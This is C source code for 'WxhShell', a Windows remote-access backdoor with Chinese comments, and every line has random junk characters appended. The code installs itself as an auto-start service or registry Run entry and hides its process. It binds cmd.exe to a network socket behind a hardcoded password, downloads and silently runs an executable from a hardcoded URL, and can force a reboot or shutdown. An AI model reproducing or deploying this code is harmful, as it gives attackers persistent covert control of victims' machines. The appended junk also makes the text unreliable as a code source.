    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6'\6OsH  
    if(Boot(SHUTDOWN)) %%(R@kh9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G\|,5HED  
    else { s4&^D<  
    closesocket(wsh); zD?oXs  
    ExitThread(0); ~y=T5wt  
    } LYlDc;<A  
    break; UK9@oCIB  
    } \fr-<5w79  
  // 获取shell ^C2\`jLMY  
  case 's': { gV&z2S~"  
    CmdShell(wsh); +`?Y?L^ J  
    closesocket(wsh); Y*mbjyt[?X  
    ExitThread(0); pr%nbl  
    break; \u6^Varw  
  } LC1 (Xb f  
  // 退出 7 |DHplI  
  case 'x': { gZ5[ C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >0Q|nCx  
    CloseIt(wsh); ~]ZpA-*@Ut  
    break; N !TW!  
    } (O0Urm  
  // 离开 R|i/lEq  
  case 'q': { H'Yh2a`!o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  i2~  
    closesocket(wsh); V5}B:SUB  
    WSACleanup(); o|jIM9/  
    exit(1); 2<M= L1\  
    break; Df3rV'/~  
        } 5`f@>r?  
  } &89 oO@5  
  } 0uBl>A7qhn  
2NB L}x  
  // 提示信息 i<pk6rO1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mKYeD%Pm*  
} 3sd"nR?aX  
  } |_u aS  
\U@rg4  
  return; ?-1r$31p  
} m&|`x  
LM2TZ   
// shell模块句柄 RT%pDym\  
int CmdShell(SOCKET sock) ;sHN/eF  
{ >>[ G1   
STARTUPINFO si; vTv]U5%:>%  
ZeroMemory(&si,sizeof(si)); Y!;|ld  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |!y A@y?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #r3l[ bKK  
PROCESS_INFORMATION ProcessInfo; HF3f)}l$  
char cmdline[]="cmd"; pmX#E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9cJH"  
  return 0;  ? w^-  
} .7n\d55a  
*Vho?P6y\Y  
// 自身启动模式 y-CX}B#j  
int StartFromService(void) [Y`,qB<B  
{ 9{:O{nl  
typedef struct eI@ q|"U  
{ +f[ED4E>'(  
  DWORD ExitStatus; < y*x]}  
  DWORD PebBaseAddress; m*mm\wN5  
  DWORD AffinityMask; |ae97 5  
  DWORD BasePriority; EM\'GW  
  ULONG UniqueProcessId; Q,80Hor#J  
  ULONG InheritedFromUniqueProcessId; IgC}&  
}   PROCESS_BASIC_INFORMATION; ^{8Gt @  
ZY:[ekm%4Z  
PROCNTQSIP NtQueryInformationProcess; .Lfo)?zG  
j;+?HbL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y"KE7>Jf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; umdG(osR  
T~b>B`_  
  HANDLE             hProcess; 29reG,>  
  PROCESS_BASIC_INFORMATION pbi; w |l1'   
KM`eIw>8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }2ZsHM^]%  
  if(NULL == hInst ) return 0; Oh4AsOj@  
`c'W-O/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yq/.-4 y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hTwA%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'g9"Qv?0{`  
[V}S <Xp  
  if (!NtQueryInformationProcess) return 0; ]D,MiDph  
5aa<qtUjH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +S=Rn,  
  if(!hProcess) return 0; \%p34K\  
nJ" '  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oTT7M`P3h  
_sbp6ZO_  
  CloseHandle(hProcess); sdS^e`S  
not YeY7wR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~,2/JDVJ5-  
if(hProcess==NULL) return 0; wfjnA~1h  
fK(}Ce  
HMODULE hMod; E_zIg+(+  
char procName[255]; `8FUX= Sh  
unsigned long cbNeeded; ZNx$r]4nF  
T,$WlK Wj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kCXdGhb  
`l*;t`h  
  CloseHandle(hProcess); I<A6Z&*un  
tlA"B{7  
if(strstr(procName,"services")) return 1; // 以服务启动 xz:J  
y_.!!@,  
  return 0; // 注册表启动 QFIL)'K  
} h;jIYxj  
){Ob,LEU&  
// 主模块 "kc/J*u-3  
int StartWxhshell(LPSTR lpCmdLine) M|] "W  
{ Ka`=WeJ|  
  SOCKET wsl; P bQk<"J1  
BOOL val=TRUE; PdVfO8-  
  int port=0; GHmv} Z  
  struct sockaddr_in door; c,*9K/:  
|^9BA-nA  
  if(wscfg.ws_autoins) Install(); yZ!T8"mz{  
TFuR@KaBR  
port=atoi(lpCmdLine); BT@r!>Nl  
#:d =)Qj0  
if(port<=0) port=wscfg.ws_port; r$wxk 4%Rz  
~gu3g^<0v  
  WSADATA data; 6[]]Y,Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !`7B^RZ  
x\Y $+A,P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5xOvY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $t/x;< .H  
  door.sin_family = AF_INET; #h@J=Ki  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V"!G2&  
  door.sin_port = htons(port); =H|6 GJ  
nF5qw>t#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O=9-Qv|  
closesocket(wsl); Xo*DvD  
return 1; TYA~#3G)  
} lKgKtQpi  
~l2aNVv;  
  if(listen(wsl,2) == INVALID_SOCKET) { LF0sH)e]  
closesocket(wsl); vO;I(^Q  
return 1; CwJDmz\tk  
} Ks\ NE=;5  
  Wxhshell(wsl); d9n?v)<v  
  WSACleanup(); lb:/EUd5  
RNQK  
return 0; hTbI -u7BF  
sZLT<6_B  
} ?,yj")+  
.Udj@{  
// 以NT服务方式启动 VS&TA>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b^[F""!e  
{ [2|kl l  
DWORD   status = 0; W Yc7aciJ  
  DWORD   specificError = 0xfffffff; d`1I".y  
4hw@yTUo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A0%}v*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +,2Jzl'-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p^iRPI  
  serviceStatus.dwWin32ExitCode     = 0; RQFI'@Ks  
  serviceStatus.dwServiceSpecificExitCode = 0; +<prgP`v  
  serviceStatus.dwCheckPoint       = 0; ;us%/kOR  
  serviceStatus.dwWaitHint       = 0; eX_D/25 $  
jV8q)=}*)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hkO sm6  
  if (hServiceStatusHandle==0) return; jP~Z`y f  
4Bl{WyMJ|  
status = GetLastError(); 1bw{q.cmD  
  if (status!=NO_ERROR) ;@ [ 0x  
{ G"T',~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z;h<6[(  
    serviceStatus.dwCheckPoint       = 0; h!m_PgRSs  
    serviceStatus.dwWaitHint       = 0; +x1eJug4  
    serviceStatus.dwWin32ExitCode     = status; A_;8IlW  
    serviceStatus.dwServiceSpecificExitCode = specificError; j:w{;(1=W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >><.3  
    return; ]QuM<ms  
  } =~I-]4  
IuZ) [*W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .SWt3|Pi5  
  serviceStatus.dwCheckPoint       = 0; 2y%,p{="  
  serviceStatus.dwWaitHint       = 0; mYc.x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #Oha(mRY  
} Gy[O)PEEh  
3/#:~a9Q  
// 处理NT服务事件,比如:启动、停止 cJgBI(S5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >O5m5@GK3a  
{ \u&_sBLKV  
switch(fdwControl) ;sch>2&ZWU  
{ ejA%%5q  
case SERVICE_CONTROL_STOP: Er k?}E  
  serviceStatus.dwWin32ExitCode = 0; Ys!>+nL|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vS;1/->WD  
  serviceStatus.dwCheckPoint   = 0; F} d  
  serviceStatus.dwWaitHint     = 0; oDcKtB+2  
  { ?:Y#Tbi3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pZyQY+O  
  } Jl "mL  
  return; n8hRaNHl2  
case SERVICE_CONTROL_PAUSE: Zatf9yGD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qT/Do?Y  
  break; ?b!Fa  
case SERVICE_CONTROL_CONTINUE: 0q rqg]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y4IGDY*  
  break; 5 |/9}^T  
case SERVICE_CONTROL_INTERROGATE: r 6eb}z!i  
  break; v=95_l  
};  8L*GE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8J)xzp`*)  
} ~}ET?Q7t  
.qA{xbu  
// 标准应用程序主函数 1&:@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P_u|-~|\  
{ f+.T^es  
7E!7"2e a  
// 获取操作系统版本 O@iu aeEW  
OsIsNt=GetOsVer(); VzJ5.mRQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;#MB7A  
al+ #y)+  
  // 从命令行安装 @t1V o}c  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1.q_f<U  
*6BThvg|&X  
  // 下载执行文件 z>R#H/h+  
if(wscfg.ws_downexe) { k-*Mzm]kb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V Yw%01#  
  WinExec(wscfg.ws_filenam,SW_HIDE); IcIOC8WC  
} FecktD=  
D=TL>T.b f  
if(!OsIsNt) { j6(?D*x  
// 如果时win9x,隐藏进程并且设置为注册表启动 aiCn"j  
HideProc(); 1 qi@uYDug  
StartWxhshell(lpCmdLine); .qob_dRA  
} 7FO'{Qq  
else ?r_l8  
  if(StartFromService()) bw&myzs  
  // 以服务方式启动 E| :!Q8"%w  
  StartServiceCtrlDispatcher(DispatchTable); E0oU$IB  
else rd3j1U  
  // 普通方式启动 N -w(e  
  StartWxhshell(lpCmdLine); LEECW_:  
/+e~E;3bO  
return 0; iK{T^vvk  
} gK|R =J  
O--7<Q\  
IaFr&  
&L^CCi  
=========================================== h8jD }9^  
o/o:2p.  
wNE$6  
zX{.^|  
A-CUv[pM  
8[ry |J  
" OlD`uA  
X5 ITF)&  
#include <stdio.h> ^/Sh=4=G  
#include <string.h> m=qOg>k  
#include <windows.h> `Pc3?~>0HH  
#include <winsock2.h> *^ \FIUd  
#include <winsvc.h> 2i|B=D(  
#include <urlmon.h> %]p6Kn/>  
=8=!Yc(>  
#pragma comment (lib, "Ws2_32.lib") 9j*0D("  
#pragma comment (lib, "urlmon.lib") 5jq=_mHt  
+CM7C%U   
#define MAX_USER   100 // 最大客户端连接数 *R % wUi  
#define BUF_SOCK   200 // sock buffer N_75-S7Cm  
#define KEY_BUFF   255 // 输入 buffer # fhEc;t  
T@^]i&  
#define REBOOT     0   // 重启 N]5m(@h  
#define SHUTDOWN   1   // 关机 mCKk*5ws5"  
b]gY~cbI8  
#define DEF_PORT   5000 // 监听端口 8Z85D  
f+vVR1  
#define REG_LEN     16   // 注册表键长度 3]JZu9#  
#define SVC_LEN     80   // NT服务名长度 q;AT>" =)  
P,bd'  
// 从dll定义API  +f4W"t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;+pOP |P=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cjULX+h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EP7AP4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %IBL0NQT  
[;O^[Iybf:  
// wxhshell配置信息 (fo Bp  
struct WSCFG { u@%|k c`  
  int ws_port;         // 监听端口 jJwkuh8R  
  char ws_passstr[REG_LEN]; // 口令 Ul Mi.;/^  
  int ws_autoins;       // 安装标记, 1=yes 0=no /48 =UK  
  char ws_regname[REG_LEN]; // 注册表键名 b4,jN~ci  
  char ws_svcname[REG_LEN]; // 服务名 bdh(WJh%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6-,m}Ce\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _|isa]u\ z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wz -)1!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TF+ l5fv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |kiJ}oy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EEf ]u7  
R_D c)  
}; )"O{D`uX  
Qu{c B^Ga*  
// default Wxhshell configuration +_HdX w#  
struct WSCFG wscfg={DEF_PORT, ~tm0QrJn/  
    "xuhuanlingzhe", ST8!i`Q$  
    1, 7y*ZXT]f  
    "Wxhshell", ,=[*Lo>O  
    "Wxhshell", $R{8z-,Q  
            "WxhShell Service", A~-#@Z  
    "Wrsky Windows CmdShell Service", B94 &elu  
    "Please Input Your Password: ", dGgP_ S  
  1, Gg0#H^s( (  
  "http://www.wrsky.com/wxhshell.exe", J.M.L$  
  "Wxhshell.exe" [EHrIn  
    }; evl -V>   
'zgvQMu  
// 消息定义模块 sM\&. <B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lUh*?l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; heD,& OX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qjC_*X!  
char *msg_ws_ext="\n\rExit."; !}&" W,,0  
char *msg_ws_end="\n\rQuit."; :7;[`bm(G  
char *msg_ws_boot="\n\rReboot..."; +AQDD4bu  
char *msg_ws_poff="\n\rShutdown..."; zJ& b|L  
char *msg_ws_down="\n\rSave to "; >mIg@knE  
DacJ,in_I{  
char *msg_ws_err="\n\rErr!"; )@:l^$x  
char *msg_ws_ok="\n\rOK!"; ehO:')XF  
zsTbdF  
char ExeFile[MAX_PATH]; &^ I+s^\=  
int nUser = 0; 9F_6}.O  
HANDLE handles[MAX_USER]; +?N}Y{Y&  
int OsIsNt; Ht=$] Px  
J^H =i)A  
SERVICE_STATUS       serviceStatus; IKf`[_,t]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )bWrd $X  
O<,r>b,  
// 函数声明 ,@Z_{,b  
int Install(void); Rlc$; Z9K  
int Uninstall(void); rpU/s@%L  
int DownloadFile(char *sURL, SOCKET wsh); v}il(w;O  
int Boot(int flag); a[O6YgO  
void HideProc(void); .1ddv4Hk  
int GetOsVer(void); >,g5Hkmqr  
int Wxhshell(SOCKET wsl); N <pbO#e  
void TalkWithClient(void *cs); k0&lu B%  
int CmdShell(SOCKET sock); l`rC0kJ]  
int StartFromService(void); dm^H5D/A  
int StartWxhshell(LPSTR lpCmdLine); U'3Fou}  
+0#JnqH"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hql5oA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `facFt[\  
{fG|_+tl3o  
// 数据结构和表定义 -Z?Ck!00  
SERVICE_TABLE_ENTRY DispatchTable[] = ~ v1W  
{ `Wf5  
{wscfg.ws_svcname, NTServiceMain}, rye)qp|  
{NULL, NULL} 29O]S8  
}; FP;": iRL  
Yk>8g;<  
// 自我安装 {,V$*  
int Install(void) @P70W<<  
{ OJ[rj`wrW^  
  char svExeFile[MAX_PATH]; A +!sD5d  
  HKEY key; Gc5VQ^]  
  strcpy(svExeFile,ExeFile); <3#<I)#  
:,C%01bH|l  
// 如果是win9x系统,修改注册表设为自启动 utd:&q|}  
if(!OsIsNt) { +L6" vkz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tP]q4i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^-L{/'[8M  
  RegCloseKey(key); RSH/l;ii  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;F,qS0lzE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8?Wgawx  
  RegCloseKey(key); |4xo4%BQ>  
  return 0; 2 zl~>3S  
    } 1#!@["  
  } o_:Qk;t  
} 6<76O~hNZ  
else { 0o;~~\fq.  
9%TT> 2#  
// 如果是NT以上系统,安装为系统服务 =5_y<0`4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #O6 EP#B  
if (schSCManager!=0) fIEw(k<*  
{ C@)pmSQ  
  SC_HANDLE schService = CreateService rys<-i(  
  ( HwW6tQ  
  schSCManager, U 1F-~ {r  
  wscfg.ws_svcname, 7%opzdS#  
  wscfg.ws_svcdisp, #[,= 1Od(q  
  SERVICE_ALL_ACCESS, V(I7*_ZFl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =jG?v'X  
  SERVICE_AUTO_START, G:hU{S7  
  SERVICE_ERROR_NORMAL, a],h<wGEx  
  svExeFile, d"!yD/RD  
  NULL, _jDS"  
  NULL, tWRf'n[+]  
  NULL, %ph"PR/t?  
  NULL, 4zX=3iBt  
  NULL Q%M_   
  ); Dpj-{q7C  
  if (schService!=0) :R3P 58>  
  { #ZF>WoC@e?  
  CloseServiceHandle(schService); wEK%T P4  
  CloseServiceHandle(schSCManager); -XLo0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o]p#%B?mZ  
  strcat(svExeFile,wscfg.ws_svcname); p Dm K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l<n5gfJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1 Xa+%n9  
  RegCloseKey(key); wVQdUtmk  
  return 0; CnQg*+  
    } xi.IRAZX  
  } a G@nErdW  
  CloseServiceHandle(schSCManager); W7W3DBKtSm  
} 5R"2Wd  
} +0U#.|?  
bu&;-Ynb  
return 1; # hZQ>zcF  
} /Bm#`?(ia  
:F9q>  
// 自我卸载 w=5   
int Uninstall(void) 4y1>  
{ zw< 4G[u  
  HKEY key; -3\7vpcdN  
"]w!`^'_  
if(!OsIsNt) { +>u>`|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h$|3dz N  
  RegDeleteValue(key,wscfg.ws_regname); ?'Oj=k"c7  
  RegCloseKey(key); QjqBO+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hXPocP  
  RegDeleteValue(key,wscfg.ws_regname); H)`@2~Y  
  RegCloseKey(key); 6#O#T;f)  
  return 0; /'mrDb_ip  
  } ,y{0bq9*2  
} _2#zeT5  
} CQ$::;  
else { 6SV7\,2M  
Pu-p7:99;'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e& p_f<  
if (schSCManager!=0) % mJ~F*Dy  
{ RA} U#D:$i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w LpkUa  
  if (schService!=0) }$<^wt  
  { v7L"`  
  if(DeleteService(schService)!=0) { ZWFG?8lJ  
  CloseServiceHandle(schService); #n=A)#'my  
  CloseServiceHandle(schSCManager); [f=.!\0\  
  return 0; MSK'2+1T@g  
  } })KJ60B  
  CloseServiceHandle(schService); nW~$ (Qnd  
  } 5Yn{?r\#F  
  CloseServiceHandle(schSCManager); W  _J&M4  
} ) b/n)%6  
} xv^Sh}\}  
W"dU1]  
return 1; pXve02b1B  
} (1rJFl!  
TN J<!6  
// 从指定url下载文件 uC- A43utv  
int DownloadFile(char *sURL, SOCKET wsh) wLY#dm  
{ % Oz$_Xe  
  HRESULT hr; ^Wif!u/HM  
char seps[]= "/"; ;*W=c   
char *token; OI*ZVD)J  
char *file; DCt\E/  
char myURL[MAX_PATH]; Jc`Rs"2  
char myFILE[MAX_PATH]; \Bt =bu>Z  
gxI&f  
strcpy(myURL,sURL); ]7v81G5E  
  token=strtok(myURL,seps); Wgav>7!9  
  while(token!=NULL) ax4*xxU  
  { ;CA ?eI  
    file=token; #FEa 5  
  token=strtok(NULL,seps); UOw~rK   
  } l6V%"Lo/)  
IhUW=1& J  
GetCurrentDirectory(MAX_PATH,myFILE); ,GP!fsK  
strcat(myFILE, "\\"); : #3OcD4  
strcat(myFILE, file); &S<? 07Z  
  send(wsh,myFILE,strlen(myFILE),0); x)j/  
send(wsh,"...",3,0); SOhSg]g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c[&d @  
  if(hr==S_OK) LE8K)i  
return 0; w~4 z@/^"p  
else =x=1uXQv5  
return 1; yQ8M >H#J  
;&If9O 1  
} O;UiYrXU  
#m[vn^8B]y  
// 系统电源模块 @55bE\E?@  
int Boot(int flag) jo<>Hc{g>  
{ `E{;85bDH  
  HANDLE hToken; anK[P'Y  
  TOKEN_PRIVILEGES tkp; (~=Qufy  
_t$lcOT  
  if(OsIsNt) { $< A8gTJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ftO+.-sm<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {-o7w0d_  
    tkp.PrivilegeCount = 1; D}mo\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^uC"dfH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CKx\V+\O  
if(flag==REBOOT) { 4Y`! bT`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EfFj!)fz  
  return 0; NR ;q`Xe-  
} A * a{  
else { 2_Pz^L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^a086n  
  return 0; N =x]A C,  
} GEhdk]<a7  
  } M_qP!+Y  
  else { =>HIF#jU  
if(flag==REBOOT) { #D/$6ah~m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) issT{&T  
  return 0; -" 2<h:#  
} v;K{|zUdB  
else { Y*`:M(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nsZDZ/jx  
  return 0; 8dr0 DF$c  
} W3FymCI  
} F"-S~I7'L  
NdM}xh  
return 1; p^p'/$<6_  
} G A'*58  
M7`UoTc+>d  
// win9x进程隐藏模块 1f+*Tmc5]Q  
void HideProc(void) 3js)niT9u  
{ E^oEG4 X@  
lf?Z{^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :jZ*,d%1={  
  if ( hKernel != NULL ) X4Pm)N `  
  { C*"Rd   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9c"0~7v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cFRSd }p=  
    FreeLibrary(hKernel); ~+nS)4 (  
  }  <'g0il  
$ 1ak I  
return; zb@L)%  
} RH<@c^ S  
WpZy](,  
// 获取操作系统版本 6b-  
int GetOsVer(void) ^?H\*N4  
{ y&n1 Nj]^  
  OSVERSIONINFO winfo; sL!;hKK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N b#H@zm  
  GetVersionEx(&winfo); {Uik|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9)G:::8u7  
  return 1; ,$hQ(yF  
  else SlH7-"Ag  
  return 0; G/x3wR  
} bl(BA}<  
@"q~ AY  
// 客户端句柄模块 c28oLT1|D  
int Wxhshell(SOCKET wsl) +W V@o'  
{ Iu=pk@*O  
  SOCKET wsh; nG&w0de<>  
  struct sockaddr_in client; T+ &x{+gZ  
  DWORD myID; h1Ke$#$6  
sq8tv]  
  while(nUser<MAX_USER) N&R '$w  
{ U92B+up-  
  int nSize=sizeof(client); f9h:"Dnzin  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t9KH|y  
  if(wsh==INVALID_SOCKET) return 1; U p]VU9z  
5*G8W\ $  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y;a6:>D%cT  
if(handles[nUser]==0) pHI%jHHJ  
  closesocket(wsh); f)&`mqeE  
else r?Ev.m  
  nUser++; `~w%Jf  
  } +^^S'mP8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K1m!S9d`x  
]pM5?^<~  
  return 0; "k>{b:R|  
} S*~Na]nS0  
]1/W8z%  
// 关闭 socket ? RrC~7~  
void CloseIt(SOCKET wsh) |R_xY=z?  
{ Li?{e+g  
closesocket(wsh); 6E*Zj1KX  
nUser--; Q%gY.n{=  
ExitThread(0); @B>%B EC  
} : L6-{9$  
GI'&g@?u  
// 客户端请求句柄 ZI#SYEF6  
void TalkWithClient(void *cs) 4fU5RB7%  
{ 1s^$oi}  
D{&+7C:8.  
  SOCKET wsh=(SOCKET)cs; L!G9O]WB  
  char pwd[SVC_LEN]; ^>P@5gcoE(  
  char cmd[KEY_BUFF]; -r6(=A  
char chr[1]; Ep v3/ `I  
int i,j; <.y^  
oKMg7 3*  
  while (nUser < MAX_USER) { |-cALQ  
IdQwLt  
if(wscfg.ws_passstr) { NO0[`jy(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ey9fbS ^I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !0d9<SVC  
  //ZeroMemory(pwd,KEY_BUFF); he#Tr'j  
      i=0; OTy 4"%  
  while(i<SVC_LEN) { `#IT24!  
2Wc;hJ.1  
  // 设置超时 *aSRKY  
  fd_set FdRead; &CPe$'FYI  
  struct timeval TimeOut; Og%zf1)aZM  
  FD_ZERO(&FdRead); nKZRq&~^E  
  FD_SET(wsh,&FdRead); q)zu}m  
  TimeOut.tv_sec=8; 45!`g+)  
  TimeOut.tv_usec=0; S+e-b'++?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FZ}C;yUPD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w oY)G7%  
ZT3jxwe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }E)8soQR  
  pwd=chr[0]; x""Mxn]gD  
  if(chr[0]==0xd || chr[0]==0xa) { ZQ-z2s9U  
  pwd=0; HzO0K=Z=R0  
  break; q4IjCu+  
  } {?h6*>-^Z  
  i++; ^5zS2nm  
    } TF ([yZO'  
:67d>wb  
  // 如果是非法用户,关闭 socket (cqA^.Td  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RIVN>G[;L  
} e[py J.  
5]2!B b6>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n(F<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |'l* $  
*FG4!~<e  
while(1) { \-`oFe"  
!Vod0j">  
  ZeroMemory(cmd,KEY_BUFF); jrMGc=KL  
jAQ)3ON<  
      // 自动支持客户端 telnet标准   ^PCL^]W  
  j=0; -7Y'6''~W.  
  while(j<KEY_BUFF) { 9M-]~.O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z!5m'yZO  
  cmd[j]=chr[0]; enfu%"(K)  
  if(chr[0]==0xa || chr[0]==0xd) { 5SPl#*W  
  cmd[j]=0; 0ju wDd  
  break; }M"'K2_Z  
  } 0"D?.E"$r  
  j++; S+\Mt+o  
    } YJtOdgG|q  
B )3SiU  
  // 下载文件 ?;r7j V/`j  
  if(strstr(cmd,"http://")) { 4VL!U?dk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V'| g  
  if(DownloadFile(cmd,wsh)) V[2<ha[n>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 14)kKWG  
  else <pa];k(IQL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y`P7LC  
  } fqp7a1qQl  
  else { FK,r<+h  
